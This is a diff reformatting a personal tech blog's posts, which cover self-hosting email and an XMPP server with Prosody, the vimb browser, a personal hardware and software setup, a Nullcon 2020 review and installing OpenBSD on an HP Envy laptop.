under\ -`config/opendkim/keys/domain.tld/mail.txt`\ -isn't exactly CloudFlare friendly; they can't be directly copy-pasted -into a `TXT` record. +The next thing I struggled with -- DNS. Specifically, the with the step where +the DKIM keys are generated[^2]. The output under +`config/opendkim/keys/domain.tld/mail.txt` +isn't exactly CloudFlare friendly; they can't be directly copy-pasted into +a `TXT` record. This is what it looks like. - - mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; " - "p=<key>" - "<more key>" ) ; ----- DKIM key mail for icyphox.sh - -But while configuring the record, you set "Type" to `TXT`, "Name" to -`mail._domainkey`, and the "Value" to what's inside the parenthesis -`( )`, *removing* the quotes `""`. Also remove the part that appears to -be a comment `; ----- ...`. +``` +mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; " + "p=<key>" + "<more key>" ) ; -- -- DKIM key mail for icyphox.sh +``` +But while configuring the record, you set "Type" to `TXT`, "Name" to `mail._domainkey`, +and the "Value" to what's inside the parenthesis `( )`, *removing* the quotes `""`. +Also remove the part that appears to be a comment `; -- -- ...`. To simplify debugging DNS issues later, it's probably a good idea to -point to your mailserver using a subdomain like `mail.domain.tld` using -an `A` record. You'll then have to set an `MX` record with the "Name" as -`@` (or whatever your DNS provider uses to denote the root domain) and -the "Value" to `mail.domain.tld`. And finally, the `PTR` (pointer -record, I think), which is the reverse of your `A` record --- "Name" as -the server IP and "Value" as `mail.domain.tld`. I learnt this part the -hard way, when my outgoing email kept getting rejected by Tutanota's -servers. +point to your mailserver using a subdomain like `mail.domain.tld` using an +`A` record. +You'll then have to set an `MX` record with the "Name" as `@` (or whatever your DNS provider +uses to denote the root domain) and the "Value" to `mail.domain.tld`. +And finally, the `PTR` (pointer record, I think), which is the reverse of +your `A` record -- "Name" as the server IP and "Value" as `mail.domain.tld`. +I learnt this part the hard way, when my outgoing email kept getting +rejected by Tutanota's servers. -Yet another hurdle --- SSL/TLS certificates. This isn't very properly -documented, unless you read through the -[wiki](https://github.com/tomav/docker-mailserver/wiki/Installation-Examples) +Yet another hurdle -- SSL/TLS certificates. This isn't very properly +documented, unless you read through the [wiki](https://github.com/tomav/docker-mailserver/wiki/Installation-Examples) and look at an example. In short, install `certbot`, have port 80 free, -and run +and run -``` {.shell} +``` shell $ certbot certonly --standalone -d mail.domain.tld ``` -Once that's done, edit the `docker-compose.yml` file to mount -`/etc/letsencrypt` in the container, something like so: - -``` {.yaml} +Once that's done, edit the `docker-compose.yml` file to mount `/etc/letsencrypt` in +the container, something like so: +```yaml ... volumes:@@ -120,51 +111,43 @@
... ``` -With this done, you shouldn't have mail clients complaining about wonky -certs for which you'll have to add an exception manually. - -Why would you...? ------------------ +With this done, you shouldn't have mail clients complaining about +wonky certs for which you'll have to add an exception manually. +## Why would you…? There are a few good reasons for this: -### Privacy - -No really, this is *the* best choice for truly private email. Not -ProtonMail, not Tutanota. Sure, they claim so and I don't dispute it. -Quoting Drew Devault[^3], +### Privacy +No really, this is *the* best choice for truly private +email. Not ProtonMail, not Tutanota. Sure, they claim so and I don't +dispute it. Quoting Drew Devault[^3], > Truly secure systems do not require you to trust the service provider. But you have to *trust* ProtonMail. They run open source software, but how can you really be sure that it isn't a backdoored version of it? -When you host your own mailserver, you truly own your email without -having to rely on any third-party. This isn't an attempt to spread FUD. -In the end, it all depends on your threat model™. +When you host your own mailserver, you truly own your email without having to rely on any +third-party. +This isn't an attempt to spread FUD. In the end, it all depends on your +threat model™. ### Decentralization - Email today is basically run by Google. Gmail has over 1.2 *billion* -active users. That's obscene. Email was designed to be decentralized but -big corps swooped in and made it a product. They now control your data, -and it isn't unknown that Google reads your mail. This again loops back -to my previous point, privacy. Decentralization guarantees privacy. When -you control your mail, you subsequently control who reads it. +active users. That's obscene. +Email was designed to be decentralized but big corps swooped in and +made it a product. They now control your data, and it isn't unknown that +Google reads your mail. This again loops back to my previous point, privacy. +Decentralization guarantees privacy. When you control your mail, you subsequently +control who reads it. ### Personalization - Can't ignore this one. It's cool to have a custom email address to flex. `x@icyphox.sh` vs `gabe.newell4321@gmail.com` Pfft, this is no competition. -[^1]: My [tweet](https://twitter.com/icyphox/status/1161648321548566528) - of frustration. - -[^2]: [Link](https://github.com/tomav/docker-mailserver#generate-dkim-keys) - to step in the docs. - -[^3]: From his [article](https://drewdevault.com/2018/08/08/Signal.html) - on why he doesn't trust Signal. +[^1]: My [tweet](https://twitter.com/icyphox/status/1161648321548566528) of frustration. +[^2]: [Link](https://github.com/tomav/docker-mailserver#generate-dkim-keys) to step in the docs. +[^3]: From his [article](https://drewdevault.com/2018/08/08/Signal.html) on why he doesn't trust Signal.
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+--- +template: +title: Vimb: my Firefox replacement +subtitle: Web browsing, suckless style +date: 2020-01-16 +url: mnml-browsing +--- + + After having recently installed [KISS](https://getkiss.org), and building Firefox from source, I was exposed to the true monstrosity that -Firefox---and web browsers in general---is. It took all of 9 hours to +Firefox -- and web browsers in general---is. It took all of 9 hours to build the dependencies and then Firefox itself. Sure, KISS now ships Firefox binaries in the [firefox-bin](https://github.com/kisslinux/repo/tree/master/extra/firefox-bin) package; I decided to get rid of that slow mess anyway. -Enter vimb ----------- +## Enter vimb [vimb](https://fanglingsu.github.io/vimb/) is a browser based on -[webkit2gtk](https://webkitgtk.org/), with a Vim-like interface. -`webkit2gtk` builds in less than a minute---it blows Firefox out of the -water, on that front. +[webkit2gtk](https://webkitgtk.org/), with a Vim-like interface. +`webkit2gtk` builds in less than a minute -- it blows Firefox out of +the water, on that front. -There isn't much of a UI to it---if you've used Vimperator/Pentadactyl -(Firefox plugins), vimb should look familiar to you. It can be -configured via a `config.h` or a text based config file at -`~/.config/vimb/config`. Each "tab" opens a new instance of vimb, in a -new window but this can get messy really fast if you have a lot of tabs -open. +There isn't much of a UI to it -- if you've used Vimperator/Pentadactyl +(Firefox plugins), vimb should look familiar to you. +It can be configured via a `config.h` or a text based config file at +`~/.config/vimb/config`. +Each "tab" opens a new instance of vimb, in a new window but this can +get messy really fast if you have a lot of tabs open. -Enter tabbed ------------- +## Enter tabbed -[tabbed](https://tools.suckless.org/tabbed/) is a tool to *embed* X apps +[tabbed](https://tools.suckless.org/tabbed/) is a tool to _embed_ X apps which support xembed into a tabbed UI. This can be used in conjunction with vimb, like so: - tabbed vimb -e +``` +tabbed vimb -e +``` Where the `-e` flag is populated with the `XID`, by tabbed. Configuring Firefox-esque keybinds in tabbed's `config.h` is relatively easy. Once -that's done---voilà! A fairly sane, Vim-like browsing experience that's +that's done -- voilà! A fairly sane, Vim-like browsing experience that's faster and has a smaller footprint than Firefox. -Ad blocking ------------ +## Ad blocking Ad blocking support isn't built-in and there is no plugin system available. There are two options for ad blocking: -1. [wyebadblock](https://github.com/jun7/wyebadblock) -2. `/etc/hosts` +1. [wyebadblock](https://github.com/jun7/wyebadblock) +2. `/etc/hosts` -Caveats -------- +## Caveats -*Some* websites tend to not work because they detect vimb as an older +_Some_ websites tend to not work because they detect vimb as an older version of Safari (same web engine). This is a minor inconvenience, and not a dealbreaker for me. I also cannot login to Google's services for -some reason, which is mildly annoying, but it's good in a way---I am now +some reason, which is mildly annoying, but it's good in a way -- I am now further incentivised to dispose of my Google account. And here's the screenshot y'all were waiting for:
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pages/txt/my-setup.txt
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--- -date: '2019-05-13' -subtitle: 'My daily drivers---hardware, software and workflow' template: text.html title: My setup -url: 'my-setup' +subtitle: My daily drivers---hardware, software and workflow +date: 2019-05-13 +url: my-setup --- -Hardware --------- +## Hardware -The only computer I have with me is my [HP Envy 13 -(2018)](https://store.hp.com/us/en/mdp/laptops/envy-13) (my model looks -a little different). It's a 13" ultrabook, with an i5 8250u, 8 gigs of -RAM and a 256 GB NVMe SSD. It's a very comfy machine that does -everything I need it to. +The only computer I have with me is my [HP Envy 13 (2018)](https://store.hp.com/us/en/mdp/laptops/envy-13) (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, +8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to. -For my phone, I use a [OnePlus 6T](https://www.oneplus.in/6t), running -stock [OxygenOS](https://www.oneplus.in/oxygenos). As of this writing, -its bootloader hasn't been unlocked and nor has the device been rooted. -I'm also a proud owner of a [Nexus -5](https://en.wikipedia.org/wiki/Nexus_5), which I really wish Google -rebooted. It's surprisingly still usable and runs Android Pie, although -the SIM slot is ruined and the battery backup is abysmal. +For my phone, I use a [OnePlus 6T](https://www.oneplus.in/6t), running stock [OxygenOS](https://www.oneplus.in/oxygenos). As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. +I’m also a proud owner of a [Nexus 5](https://en.wikipedia.org/wiki/Nexus_5), which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal. -My watch is a [Samsung Gear S3 -Frontier](https://www.samsung.com/in/wearables/gear-s3-frontier-r760/). -Tizen is definitely better than Android Wear. +My watch is a [Samsung Gear S3 Frontier](https://www.samsung.com/in/wearables/gear-s3-frontier-r760/). Tizen is definitely better than Android Wear. -My keyboard, although not with me in college, is a very old [Dell -SK-8110](https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO). -For the little bit of gaming that I do, I use a [HP -m150](https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html) -gaming mouse. It's the perfect size (and color). +My keyboard, although not with me in college, is a very old [Dell SK-8110](https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO). +For the little bit of gaming that I do, I use a [HP m150](https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html) gaming mouse. It’s the perfect size (and color). -For my music, I use the [Bose SoundLink -II](https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html). +For my music, I use the [Bose SoundLink II](https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html). Great pair of headphones, although the ear cups need replacing. -And the software ----------------- +## And the software -```{=html} -<del> -``` -My distro of choice for the past \~1 year has been [elementary -OS](https://elementary.io). I used to be an Arch Linux elitist, complete -with an esoteric window manager, all riced. I now use whatever -JustWorks™. -```{=html} -</del> -``` -**Update**: As of June 2019, I've switched over to a vanilla Debian 9 -Stretch install, running [i3](https://i3wm.org) as my window manager. If -you want, you can dig through my configs at my -[dotfiles](https://github.com/icyphox/dotfiles) repo. +<del>My distro of choice for the past ~1 year has been [elementary OS](https://elementary.io). I used to be an Arch Linux elitist, complete with an esoteric +window manager, all riced. I now use whatever JustWorks™.</del> -Here's a (riced) screenshot of my desktop. +**Update**: As of June 2019, I've switched over to a vanilla Debian 9 Stretch install, +running [i3](https://i3wm.org) as my window manager. If you want, you can dig through my configs at my [dotfiles](https://github.com/icyphox/dotfiles) repo. + +Here’s a (riced) screenshot of my desktop.  -Most of my work is done in either the browser, or the terminal. My shell -is pure [zsh](http://www.zsh.org), as in no plugin frameworks. It's -customized using built-in zsh functions. Yes, you don't actually need a -framework. It's useless bloat. The prompt itself is generated using a -framework I built in -[Nim](https://nim-lang.org)---[nicy](https://github.com/icyphox/nicy). -My primary text editor is [nvim](https://neovim.org). Again, all configs -in my dotfiles repo linked above. I manage all my passwords using -[pass(1)](https://passwordstore.org), and I use -[rofi-pass](https://github.com/carnager/rofi-pass) to access them via -`rofi`. +Most of my work is done in either the browser, or the terminal. +My shell is pure [zsh](http://www.zsh.org), as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need +a framework. It’s useless bloat. The prompt itself is generated using a framework I built in [Nim](https://nim-lang.org) -- [nicy](https://github.com/icyphox/nicy). +My primary text editor is [nvim](https://neovim.org). Again, all configs in my dotfiles repo linked above. +I manage all my passwords using [pass(1)](https://passwordstore.org), and I use [rofi-pass](https://github.com/carnager/rofi-pass) to access them via `rofi`. -Most of my security tooling is typically run via a Kali Linux docker -container. This is convenient for many reasons, keeps your global -namespace clean and a single command to drop into a Kali shell. +Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace +clean and a single command to drop into a Kali shell. -I use a DigitalOcean droplet (BLR1) as a public filehost, found at -[x.icyphox.sh](https://x.icyphox.sh). The UI is the wonderful -[serve](https://github.com/zeit/serve), by [ZEIT](https://zeit.co). The -same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel -via SSH running on 443. Campus firewall woes. +I use a DigitalOcean droplet (BLR1) as a public filehost, found at [x.icyphox.sh](https://x.icyphox.sh). The UI is the wonderful [serve](https://github.com/zeit/serve), by [ZEIT](https://zeit.co). +The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. -I plan on converting my desktop back at home into a homeserver setup. -Soon™. +I plan on converting my desktop back at home into a homeserver setup. Soon™.
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pages/txt/nullcon-2020.txt
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pages/txt/nullcon-2020.txt
@@ -1,21 +1,22 @@
--- -date: '2020-03-09' -subtitle: 'An opinion-filled review of Nullcon Goa, 2020' +template: +url: nullcon-2020 title: Nullcon 2020 -url: 'nullcon-2020' +subtitle: An opinion-filled review of Nullcon Goa, 2020 +date: 2020-03-09 --- **Disclaimer**: Political. This year's conference was at the Taj Hotel and Convention center, Dona -Paula, and its associated party at Cidade de Goa, also by Taj. Great -choice of venue, perhaps even better than last time. The food was fine, -the views were better. +Paula, and its associated party at Cidade de Goa, also by Taj. +Great choice of venue, perhaps even better than last time. The food was +fine, the views were better. -With *those* things out of the way---let's talk talks. I think I -preferred the panels to the talks---I enjoy a good, stimulating +With _those_ things out of the way -- let's talk talks. I think +I preferred the panels to the talks -- I enjoy a good, stimulating discussion as opposed to only half-understanding a deeply technical -talk---but that's just me. But there was this one talk that I really +talk -- but that's just me. But there was this one talk that I really enjoyed, perhaps due to its unintended comedic value; I'll get into that later.@@ -23,29 +24,26 @@ The list of panels/talks I attended in order:
**Day 1** -- Keynote: The Metadata Trap by Micah Lee (Talk) -- Securing the Human Factor (Panel) -- Predicting Danger: Building the Ideal Threat Intelligence Model - (Panel) -- Lessons from the Cyber Trenches (Panel) -- Mlw 41\#: a new sophisticated loader by APT group TA505 by Alexey - Vishnyakov (Talk) -- Taking the guess out of Glitching by Adam Laurie (Talk) -- Keynote: Cybersecurity in India -- Information Assymetry, Cross - Border Threats and National Sovereignty by Saumil Shah (Talk) +- Keynote: The Metadata Trap by Micah Lee (Talk) +- Securing the Human Factor (Panel) +- Predicting Danger: Building the Ideal Threat Intelligence Model (Panel) +- Lessons from the Cyber Trenches (Panel) +- Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk) +- Taking the guess out of Glitching by Adam Laurie (Talk) +- Keynote: Cybersecurity in India -- Information Assymetry, Cross Border + Threats and National Sovereignty by Saumil Shah (Talk) **Day 2** -- Keynote: Crouching hacker, killer robot? Removing fear from +- Keynote: Crouching hacker, killer robot? Removing fear from cyber-physical security by Stefano Zanero (Talk) -- Supply Chain Security in Critical Infrastructure Systems (Panel) -- Putting it all together: building an iOS jailbreak from scratch by +- Supply Chain Security in Critical Infrastructure Systems (Panel) +- Putting it all together: building an iOS jailbreak from scratch by Umang Raghuvanshi (Talk) -- Hack the Law: Protection for Ethical Cyber Security Research in - India (Panel) +- Hack the Law: Protection for Ethical Cyber Security Research in India + (Panel) -Re: Closing keynote -------------------- +## Re: Closing keynote I wish I could link the talk, but it hasn't been uploaded just yet. I'll do it once it has. So, I've a few comments I'd like to make on some of@@ -53,50 +51,50 @@ Saumil's statements.
He proposed that the security industry trust the user more, and let them make the decisions pertaining to personal security / privacy. -Except...that's just not going to happen. If all users were capable of -making good, security-first choices---we as an industry don't need to -exist. But that is unfortunately not the case. Users are dumb. They -value convenience and immediacy over security. That's the sad truth of -the modern age. +Except...that's just not going to happen. If all users were capable +of making good, security-first choices -- we as an industry don't +need to exist. But that is unfortunately not the case. +Users are dumb. They value convenience and immediacy over +security. That's the sad truth of the modern age. Another thing he proposed was that the Indian Government build our own "Military Grade" and "Consumer Grade" encryption. -*...what?* +_...what?_ A "security professional" suggesting that we roll our own crypto? What -even. Oh and, to top it off---when +even. Oh and, to top it off -- when [Raman](https://twitter.com/tame_wildcard), very rightly countered -saying that the biggest opponent to encryption *is* the Government, and +saying that the biggest opponent to encryption _is_ the Government, and trusting them to build safe cryptosystems is probably not wise, he responded by saying something to the effect of "Eh, who cares? If they -want to backdoor it, let them." +want to backdoor it, let them." Bruh moment. He also had some interesting things to say about countering disinformation. He said, and I quote "Join the STFU University". -¿wat? Is that your best solution? +¿wat? Is that your best solution? Judging by his profile, and certain other things he said in the talk, it is safe to conclude that his ideals are fairly...nationalistic. I'm not one to police political opinions, I couldn't care less which way you -lean, but the statements made in the talk were straight up incorrect. +lean, but the statements made in the talk were straight up +incorrect. -Closing thoughts ----------------- +## Closing thoughts This came out more rant-like than I'd intended. It is also the first blog post where I dip my toes into politics. I've some thoughts on more controversial topics for my next entry. That'll be fun, especially when my follower count starts dropping. LULW. -Saumil, if you ever end up reading this, note that this is not a -personal attack. I think you're a cool guy. +Saumil, if you ever end up reading this, note that this is not +a personal attack. I think you're a cool guy. Note to the Nullcon organizers: you guys did a fantastic job running the conference despite Corona-chan's best efforts. I'd like to suggest one -little thing though---please VET YOUR SPEAKERS more! +little thing though -- please VET YOUR SPEAKERS more! 
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pages/txt/openbsd-hp-envy.txt
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pages/txt/openbsd-hp-envy.txt
@@ -1,28 +1,28 @@
--- -date: '2020-04-17' +template: +url: openbsd-hp-envy +title: OpenBSD on the HP Envy 13 subtitle: I put a blowfish in my laptop this week -title: OpenBSD on the HP Envy 13 -url: 'openbsd-hp-envy' +date: 2020-04-17 --- My existing KISS install broke because I thought it would be a great idea to have [apk-tools](https://github.com/alpinelinux/apk-tools) alongside the `kiss` package manager. It's safe to say, that did not end -well---especially when I installed, and then removed a package. With a -semi-broken install that I didn't feel like fixing, I figured I'd give +well -- especially when I installed, and then removed a package. With +a semi-broken install that I didn't feel like fixing, I figured I'd give OpenBSD a try. And I did. -installation and setup ----------------------- +## installation and setup -Ran into some trouble booting off the USB initially, turned out to be a -faulty stick. Those things aren't built to last, sadly. Flashed a new +Ran into some trouble booting off the USB initially, turned out to be +a faulty stick. Those things aren't built to last, sadly. Flashed a new stick, booted up. Setup was pleasant, very straightforward. Didn't really have to intervene much. After booting in, I was greeted with a very archaic looking FVWM desktop. It's not the prettiest thing, and especially annoying to work -with when you don't have your mouse setup, i.e. no tap-to-click. +with when you don't have your mouse setup, i.e. no tap-to-click. I needed wireless, and my laptop doesn't have an Ethernet port. USB tethering just works, but the connection kept dying. I'm not sure why.@@ -30,20 +30,24 @@ Instead, I downloaded the [iwm(4)](http://man.openbsd.org/iwm.4)
firmware from [here](http://firmware.openbsd.org/firmware/6.6/), loaded it up on a USB stick and copied it over to `/etc/firmware`. After that, it was as simple as running -[fw\_update(1)](http://man.openbsd.org/fw_update.1) and the firmware is -auto-detected and loaded. In fact, if you have working Internet, -`fw_update` will download the required firmware for you, too. +[fw_update(1)](http://man.openbsd.org/fw_update.1) +and the firmware is auto-detected and loaded. In fact, if you have working +Internet, `fw_update` will download the required firmware for you, too. Configuring wireless is painless and I'm so glad to see that there's no `wpa_supplicant` horror to deal with. It's as simple as: - $ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK +``` +$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK +``` Also see [hostname.if(5)](http://man.openbsd.org/hostname.if.5) to make this persist. After that, it's only a matter of specifying your desired SSID, and `ifconfig` will automatically auth and procure an IP lease. - $ doas ifconfig iwm0 nwid YOUR_SSID +``` +$ doas ifconfig iwm0 nwid YOUR_SSID +``` By now I was really starting to get exasperated by FVWM, and decided to switch to something nicer. I tried building 2bwm (my previous WM), but@@ -52,23 +56,23 @@ give [cwm(1)](http://man.openbsd.org/cwm.1) a shot. Afterall, people
sing high praises of it. And boy, is it good. The config is a breeze, and actually pretty -powerful. [Here's -mine](https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc). cwm -also has a built-in launcher, so dmenu isn't necessary anymore. Refer to -[cwmrc(5)](https://man.openbsd.org/cwmrc.5) for all the config options. +powerful. [Here's mine](https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc). +cwm also has a built-in launcher, so dmenu isn't necessary anymore. +Refer to [cwmrc(5)](https://man.openbsd.org/cwmrc.5) for all the config +options. -Touchpad was pretty simple to setup too---OpenBSD has +Touchpad was pretty simple to setup too -- OpenBSD has [wsconsctl(8)](http://man.openbsd.org/wsconsctl.8), which lets you set your tap-to-click, mouse acceleration etc. However, more advanced configuration can be achieved by getting Xorg to use the Synaptics driver. Just add a `70-synaptics.conf` to `/etc/X11/xorg.conf.d` (make the dir if it doesn't exist), containing: -``` {.conf} +```conf Section "InputClass" - Identifier "touchpad catchall" - Driver "synaptics" - MatchIsTouchpad "on" + Identifier "touchpad catchall" + Driver "synaptics" + MatchIsTouchpad "on" Option "TapButton1" "1" Option "TapButton2" "3" Option "TapButton3" "2"@@ -76,9 +80,9 @@ Option "VertEdgeScroll" "on"
Option "VertTwoFingerScroll" "on" Option "HorizEdgeScroll" "on" Option "HorizTwoFingerScroll" "on" - Option "VertScrollDelta" "111" - Option "HorizScrollDelta" "111" -EndSection + Option "VertScrollDelta" "111" + Option "HorizScrollDelta" "111" +EndSection ``` There are a lot more options that can be configured, see@@ -88,44 +92,49 @@ Suspend and hibernate just work, thanks to
[apm(8)](http://man.openbsd.org/apm.8). Suspend on lid-close just needs one `sysctl` tweak: - $ sysctl machdep.lidaction=1 +``` +$ sysctl machdep.lidaction=1 +``` I believe it's set to 1 by default on some installs, but I'm not sure. -impressions ------------ +## impressions -I already really like the philosophy of OpenBSD---security and +I already really like the philosophy of OpenBSD -- security and simplicity, while not losing out on sanity. The default install is -plentiful, and has just about everything you'd need to get going. I -especially enjoy how everything just works! I was pleasantly surprised +plentiful, and has just about everything you'd need to get going. +I especially enjoy how everything just works! I was pleasantly surprised to see my brightness and volume keys work without any configuration! -It's clear that the devs actually dogfood OpenBSD, unlike uh, *cough* -Free- *cough*. Gosh I hope it's not *the* flu. :\^) +It's clear that the devs +actually dogfood OpenBSD, unlike uh, *cough* Free- *cough*. Gosh I hope +it's not _the_ flu. :^) Oh and did you notice all the manpage links I've littered throughout -this post? They have manpages for *everything*; it's ridiculous. And +this post? They have manpages for _everything_; it's ridiculous. And they're very thorough. Arch Wiki is good, but it's incorrect at times, or simply outdated. OpenBSD's manpages, although catering only to -OpenBSD have never failed me. +OpenBSD have never failed me. Performance and battery life are fine. Battery is in fact, identical, if not better than on Linux. OpenBSD disables HyperThreading/SMT for security reasons, but you can manually enable it if you wish to do so: - $ sysctl hw.smt=1 +``` +$ sysctl hw.smt=1 +``` -Package management is probably the only place where OpenBSD falls short. -[pkg\_add(1)](http://man.openbsd.org/pkg_add.1) isn't particularly fast, +Package management is probably the only place where OpenBSD falls short. +[pkg_add(1)](http://man.openbsd.org/pkg_add.1) isn't particularly fast, considering it's written in Perl. The ports selection is fine, I have yet to find something that I need not on there. I also wish they debloated packages; maybe I've just been spoilt by KISS. I now have D-Bus on my system thanks to Firefox. :( -I appreciate the fact that they don't have a political document---a Code +I appreciate the fact that they don't have a political document -- a Code of Conduct. CoCs are awful, and have only proven to be harmful for -projects; part of the reason why I'm sick of Linux and its community. Oh -wait, OpenBSD does have one: https://www.openbsd.org/mail.html ;) +projects; part of the reason why I'm sick of Linux and its community. +Oh wait, OpenBSD does have one: https://www.openbsd.org/mail.html +;) I'll be exploring [vmd(8)](http://man.openbsd.org/vmd.8) to see if I can get a Linux environment going. Perhaps that'll be my next post, but when@@ -133,12 +142,14 @@ have I ever delivered?
I'll close this post off with my new rice, and a sick ASCII art I made. - \.-----./ - / ^ ^ ^ \ - (o)(o) ^ ^ |_/| - {} ^ ^ > ^| \| - \^ ^ ^ ^/ - /-----\ - ~icy +``` + \. -- --./ + / ^ ^ ^ \ + (o)(o) ^ ^ |_/| + {} ^ ^ > ^| \| + \^ ^ ^ ^/ + / -- --\ + ~icy +``` 
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pages/txt/prosody.txt
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pages/txt/prosody.txt
@@ -1,13 +1,14 @@
--- -date: '2020-02-18' -subtitle: 'I setup Prosody yesterday---here''s how I did it' -title: Setting up Prosody for XMPP +template: url: prosody +title: Setting up Prosody for XMPP +subtitle: I setup Prosody yesterday—here's how I did it +date: 2020-02-18 --- Remember the [IRC for DMs](/blog/irc-for-dms/) article I wrote a while back? Well...it's safe to say that IRC didn't hold up too well. It first -started with the bot. Buggy code, crashed a lot---we eventually gave up +started with the bot. Buggy code, crashed a lot -- we eventually gave up and didn't bring the bot back up. Then came the notifications, or lack thereof. Revolution IRC has a bug where your custom notification rules just get ignored after a while. In my case, this meant that@@ -18,15 +19,15 @@ Again, none of these problems are inherent to IRC itself. IRC is
fantastic, but perhaps wasn't the best fit for our usecase. I still do use IRC though, just not for 1-on-1 conversations. -Why XMPP? ---------- +## Why XMPP? For one, it's better suited for 1-on-1 conversations. It also has support for end-to-end encryption (via OMEMO), something IRC doesn't -have.[^1] Also, it isn't centralized (think: email). +have.[^otr] Also, it isn't centralized (think: email). + +[^otr]: I'm told IRC supports OTR, but I haven't ever tried. -So...Prosody ------------- +## So...Prosody [Prosody](https://prosody.im) is an XMPP server. Why did I choose this over ejabberd, OpenFire, etc.? No reason, really. Their website looked@@ -36,14 +37,17 @@ ### Installing
Setting it up was pretty painless (I've [experienced worse](/blog/mailserver)). If you're on a Debian-derived system, add: - - # modify according to your distro - deb https://packages.prosody.im/debian buster main +``` +# modify according to your distro +deb https://packages.prosody.im/debian buster main +``` to your `/etc/apt/sources.list`, and: - # apt update - # apt install prosody +``` +# apt update +# apt install prosody +``` ### Configuring@@ -51,25 +55,29 @@ Once installed, you will find the config file at
`/etc/prosody/prosody.cfg.lua`. Add your XMPP user (we will make this later), to the `admins = {}` line. - admins = {"user@chat.example.com"} +``` +admins = {"user@chat.example.com"} +``` Head to the `modules_enabled` section, and add this to it: - modules_enabled = { - "posix"; - "omemo_all_access"; - ... - -- uncomment these - "groups"; - "mam"; - -- and any others you think you may need - } +``` +modules_enabled = { + "posix"; + "omemo_all_access"; +... + -- uncomment these + "groups"; + "mam"; + -- and any others you think you may need +} +``` We will install the `omemo_all_access` module later. Set `c2s_require_encryption`, `s2s_require_encryption`, and -`s2s_secure_auth` to `true`. Set the `pidfile` to `/tmp/prosody.pid` (or -just leave it as default?). +`s2s_secure_auth` to `true`. +Set the `pidfile` to `/tmp/prosody.pid` (or just leave it as default?). By default, Prosody stores passwords in plain-text, so fix that by setting `authentication` to `"internal_hashed"`@@ -77,23 +85,28 @@
Head to the `VirtualHost` section, and add your vhost. Right above it, set the path to the HTTPS certificate and key: - certificates = "certs" -- relative to your config file location - https_certificate = "certs/chat.example.com.crt" - https_key = "certs/chat.example.com.key" - ... +``` +certificates = "certs" -- relative to your config file location +https_certificate = "certs/chat.example.com.crt" +https_key = "certs/chat.example.com.key" +... - VirtualHost "chat.example.com" +VirtualHost "chat.example.com" +``` I generated these certs using Let's Encrypt's `certbot`, you can use whatever. Here's what I did: - # certbot --nginx -d chat.example.com +``` +# certbot --nginx -d chat.example.com +``` -This generates certs at `/etc/letsencrypt/live/chat.example.com/`. You -can trivially import these certs into Prosody's `/etc/prosody/certs/` -directory using: +This generates certs at `/etc/letsencrypt/live/chat.example.com/`. You can +trivially import these certs into Prosody's `/etc/prosody/certs/` directory using: - # prosodyctl cert import /etc/letsencrypt/live/chat.example.com +``` +# prosodyctl cert import /etc/letsencrypt/live/chat.example.com +``` ### Plugins@@ -101,9 +114,11 @@ All the modules for Prosody can be `hg clone`'d from
https://hg.prosody.im/prosody-modules. You will, obviously, need Mercurial installed for this. -Clone it somewhere, and: +Clone it somewhere, and: - # cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules +``` +# cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules +``` Do the same thing for whatever other module you choose to install. Don't forget to add it to the `modules_enabled` section in the config.@@ -112,29 +127,28 @@ ### Adding users
`prosodyctl` makes this a fairly simple task: - $ prosodyctl adduser user@chat.example.com +``` +$ prosodyctl adduser user@chat.example.com +``` -You will be prompted for a password. You can optionally, enable user -registrations from XMPP/Jabber clients (security risk!), by setting +You will be prompted for a password. You can optionally, enable +user registrations from XMPP/Jabber clients (security risk!), by setting `allow_registration = true`. I may have missed something important, so here's [my config](https://x.icyphox.sh/prosody.cfg.lua) for reference. -Closing notes -------------- +## Closing notes That's pretty much all you need for 1-on-1 E2EE chats. I don't know much -about group chats just yet---trying to create a group in Conversations +about group chats just yet -- trying to create a group in Conversations gives a "No group chat server found". I will figure it out later. Another thing that doesn't work in Conversations is adding an account -using an `SRV` record.[^2] Which kinda sucks, because having a `chat.` +using an `SRV` record.[^srv] Which kinda sucks, because having a `chat.` subdomain isn't very clean, but whatever. -Oh, also---you can message me at -[icy\@chat.icyphox.sh](xmpp:icy@chat.icyphox.sh). +Oh, also -- you can message me at +[icy@chat.icyphox.sh](xmpp:icy@chat.icyphox.sh). -[^1]: I'm told IRC supports OTR, but I haven't ever tried. - -[^2]: https://prosody.im/doc/dns +[^srv]: https://prosody.im/doc/dns
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pages/txt/pycon-wrap-up.txt
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pages/txt/pycon-wrap-up.txt
@@ -1,19 +1,20 @@
